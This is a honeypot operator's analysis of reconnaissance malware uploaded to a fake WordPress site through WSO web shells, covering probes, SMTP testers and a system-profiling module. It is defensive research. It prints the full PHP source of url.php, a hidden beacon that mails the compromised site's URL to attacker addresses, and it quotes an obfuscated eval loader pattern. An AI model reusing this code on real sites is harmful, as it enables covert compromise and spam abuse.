Reconnaissance tools collect and send back information about the software available on a WordPress host. That information ranges from sending an email to a well known address, to scanning the host system for whatever other CMS (besides WordPress) system(s) and database(s) it might execute.
The WSO web shell includes decent recon capability, displaying operating system and version, PHP version, size of filesystem and includes a "Sec. Info" action. This last action shows HTTP server version, interesting executables available, including which databases are installed. I examine WSO separately.
Self Destructing Probe - LijHgs3*.php
I encountered a "self destructing" reconnaissance program. 124 PHP files with names like LijHgs3_8878737.php and LijHgs3_2791796.php got uploaded between 2013-06-23T02:24:35-06 and 2013-06-23T04:18:27-06. The uploads came from 114 different IP addresses, which p0f identified as mostly Windows XP, Windows Vista, with a couple of IP addresses identified as Linux. All uploads were by WSO web shell file upload. All 124 uploads called WSO as 502.php. Each of the 124 uploads had a different substring of digits, indicating some coordination between the 114 IP addresses.
In turn, 502.php was uploaded 3 times before the "LijHgs3" PHP files were uploaded, and many times afterward, always using the fake WordPress "plugin upload" feature. 2 unique IP addresses, 22.214.171.124 and 126.96.36.199, uploaded 502.php between 2013-06-16 and 2013-06-21. Neither 188.8.131.52 nor 184.108.40.206 uploaded "LijHgs3" PHP files. p0f said that 220.127.116.11 was Windows 2000 or Windows XP, and that 18.104.22.168 ran Windows Vista.
Nothing ever actually invoked any of the "LijHgs3" PHP files, perhaps because the honey pot's fake WSO (at the time) did not confirm uploads correctly by displaying the uploaded file name. I later changed that aspect of the fake WSO.
The "LijHgs3" source code:
- created a directory
- created a file in that directory
- wrote the string "np9i8gkli" to the file
- used PHP's file_get_contents() to read the file
- If "LijHgs3" read the same string that it wrote, it echoed "np9i8gkli"
- otherwise it echoed "sdcoiwenldz33s"
- It unlinked ("deleted") all files named "LijHgs3_*" in the current directory
- It ran echo 'bbbpathsbbb'.'http://stratigery.com/'.'eeepathseee';
The output of the final "echo" is clearly machine-parseable, designed to be read by some program. The strings for successful or error file write and read are a bit less obvious, not even having the same string length.
The coding style of the final echo indicates that the "LijHgs3" programs were all programmatically generated, as there is no reason to concatenate 3 strings other than convenience in writing the program that generated the "LijHgs3" programs.
Xgr0upvn Data Checker Tool vBeta
Downloaded via WSO 'uploadFile' by a Windows Vista machine at 22.214.171.124, and invoked 39 seconds later by that same machine, this recon tool walks the user through a password login and some other nonsense, to produce a list of files in the directory it runs from, with MD5 checksums. The program is unusual as it contains dual Vietnamese/English strings in a primitive attempt at I18N coding. The IP address is in a Vietnamese ISP's netblock.
The timing of the upload and invocation, as well as what else the IP address asked for (/favicon.ico, for example) indicate that this might have been a manual exploit attempt. Either the uploader was a Windows user or silly, because the PHP code was uploaded as "Shell.php", but attempted invocation was as "shell.php". That would work for a Windows HTTP server (I think), but not a Linux server.
Not the same as Xgr0upVN ShElL, but may be from the same Vietnamese hacker collective.
The WSO shell URL used to upload the XgrOupVN Data Checker Tool was jm.php. WSO had been uploaded as jm.php 10 times between 2013-06-19 and 2013-06-26, by 6 different IP addresses two months before 126.96.36.199 tried to invoke it. That statement gives a bit of a false impression, as 20 different IP addresses invoked jm.php between 2013-06-19 and 2013-09-11. It appears that knowledge of a nominally successful WSO upload gets shared or sold around.
The obfuscated code champion is actually a pretty simple SMTP tester, emailing to a single, hard-coded SMTP address.
The code sent to 7c334.php contained two different SMTP testers.
connector_t.php got uploaded to a previously-installed WSO web shell named info.php. Both times WSO would have named the uploaded code "connector_t.php".
|Timestamp||From IP address||URL|
connector_t.php got invoked 2 seconds after download with no parameters. This shows how hard it is to emulate malware on honey pots: automatic download and testing gives the honey pot operator no time to check out the downloaded code.
|Timestamp||From IP address|
connector_t.php gives back a single line of text upon invocation: init::f6mnZP0cwKNo9q::5.2.14::ok. That's the PHP version number, a hardcoded string that looks random, and "ok" indicates that it can send SMTP email on the victim machine.
connector_t.php's code consists of a call to PHP's mail() function (address: 'firstname.lastname@example.org') 3 times in a loop, after getting the PHP version number. If mail() succeeds any of the 3 times you get the 'ok' suffix on the output shown above.
Multiple attempts at calling mail('email@example.com', 'Noreply', '') is emblematic. It appears that WordPress malware, or the hosts that WordPress runs on, have reliability issues. Malware tries every important operation at least two times without assuming an error condition.
A very subtle STMP testing program, url.php got uploaded as just one PHP file out of many in a plugin named "Imailer". The Imailer.zip file contained the usual "Tumblr Importer" PHP files, but it also contained mod_system.php, a WSO v2.5 web shell, copyrights.php (which is "PostMan Full 3.5" a spamming program), and url.php itself. The code is as follows:
<? $rezmail1 = "firstname.lastname@example.org"; $rezmail2 = "email@example.com"; $ip = getenv("REMOTE_ADDR"); $host = $_SERVER['HTTP_HOST']; $self = $_SERVER['PHP_SELF']; $query = !empty($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : null; $url = !empty($query) ? "http://$host$self?$query" : "http://$host$self"; $message .= "Position Available. Five hundred USD Weekly,Get Back for More Details\n"; $subject = "Available position check within $url"; $headers .= "MIME-Version: 1.0\n"; mail($rezmail1,$subject,$message,$headers); mail($rezmail2,$subject,$message,$headers); ?>
It was uploaded by 188.8.131.52 at 2013-08-26T10:00:29-06, then invoked at 2013-08-26T10:13:35-06. The uploader had a User-Agent string of "Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0", while the invoker sent "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36", and also requested /favicon.ico right away. This looks like someone had a guess-password-install-malware program running. They got a notification that url.php was installed, and then tried it interactively.
The really subtle part is that the message url.php sends looks like spam, an ad for a stupid money mule job with some scammers, perhaps. Note that the subject line of the email will have the URL of the url.php program itself. Conveniently, that's almost the URL of the "PostMan Full" spamming tool included in that plugin's zip file. Once "izik.krg" gets an email, he can fire up his spam command and control and start blasting out crap. In fact "izik" can automate the whole thing based on the "Subject:" line of the email.
CMS installations Check
Sent to my honey pot's WSO web shell emulation 43 times by 27 different IP address between 2013-07-05T02:21:19-06 and 2013-08-21T07:43:30-06.
The attacker invoked WSO web shell's "actionPHP" action, which means the HTTP request includes raw PHP source code, and WSO executeseval() on it. The source code would never appear in the exploited host's filesystem, but my emulated WSO shell captures it.
It amounts to a very long ASCII string, which gets eval'ed (inside WSO's PHP eval) like this: eval(gzuncompress(base64_decode($eval_code)));
It looks for WordPress, Joomla, Drupal, TYPO3, phpBB, PunBB, e107, DataLife Engine and Simple Machines Forum installations, by changing directory up to the root of the file system. It then does a breadth-first recursive search up to 10 levels deep for what it considers "core files" of each of the CMSes it knows about. For instance, the "core files" of a WordPress installation amount to those named "wp-content", "wp-admin" and "wp-includes".
The code handles Windows installations as well as Linux, mainly by substituting backslashes for slashes in file paths, although a few other considerations get taken care of. It looks like several people have worked on it: the original code appears neat and tidy, uniformly indented, and it has debug output using unadorned PHP echo commands. Any lines of code generating debug output have been commented out using '//'-style comment leaders. Some later debug output code additions break the uniform indentation, and got commented out using '#'-style comment leaders. Oddly the later debug output is preceded by if($debug_mode), so whether output appears or not depends on the value of the $debug_mode variable, which is set to false at the very beginning of the code. Why bother commenting it out?
SRVC WebShell modul
I'm going into somewhat more depth for the "SRVC WebShell modul" because I can't find it described anywhere. The "SRVC WebShell modul" [sic], collects a lot of information about the system it runs on, then returns a Base-64 encoded, serialized PHP associative arrary. The data it collects looks like this before encoding:
Array ( [os] => Linux [osversion] => Linux bronze 3.12.3-1-ARCH #1 SMP PREEMPT Wed Dec 4 21:45:42 CET 2013 x86_64 [webserver] => Apache [safemode] => 0 [disable_functions] => [curl] => 1 [php_api] => cli [php_version] => 5.5.6 [basedir] => none [timelimit] => 1 [userabort] => 1 [socket] => 1 [is_evalable] => 1 [is_execable] => 1 [is_mailable] => unknown [sendmail_cmd] => [PHP] mail(); )
SRVC WebShell modul often has multiple methods coded in it to find any of the above parameters. The code prefers to use PHP builtins (php_uname()) to find a value, but it ultimately falls back to a Linux-specific method, like shelling out to run uname -s. No Windows-specific fallbacks exist, as near as I can tell. Shelling out to run a command is a study in alternatives, starting by trying shell_exec(), trying 4 more PHP builtins, finally using proc_open() if none of the other alternatives work.
SRVC WebShell modul tests if email works by sending email to a random, 32-character "user ID" at the domain asdasd.ru. It waits 8 seconds, then checks http://asdasd.ru?u=32-character random user ID to see if the email arrived. The asdasd.ru service appears to be some weird Russian semi-anonymous email dead drop, but the SRVC WebShell modul uses it to advantage. If you send an email manually to asdasd.ru, it takes substantially longer than 8 seconds to percolate messages up to the web interface, so I doubt that the SRVC code works correctly.
One of the tests, the value of "is_evalable" above, is interesting. The "1" value indicates that an eval() worked. I can't really understand why you'd bother to test for a working eval() when the code that does the testing is executing courtesy of eval(gzuncompress(base64_decode($eval_code))); itself. Further, the code doing the testing got run by the actionPHP action of a WSO web shell. As it happens, WSO does an eval() on PHP code sent to it in that action. So, SRVC WebShell modul checks to see if eval() works inside of two layers of eval(). Either SRVC WebShell modul sometimes runs outside of WSO, or SRVC WebShell modul isn't executed by the same folks who wrote it. The attackers using it don't understand it, because the code just gets passed around from one bad coder to the next.
The SRVC WebShell modul appears fairly unified, having a consistent variable and function naming and consistent bracket placement styles. The programmer(s) indented it uniformly, at 1 ASCII space per indentation level, making for some dense code. The code has only a few comments, which appear to fall into 2 categories: commented-out debugging code, and a few "TODO" notes, which indicate places where even more alternatives could be implemented.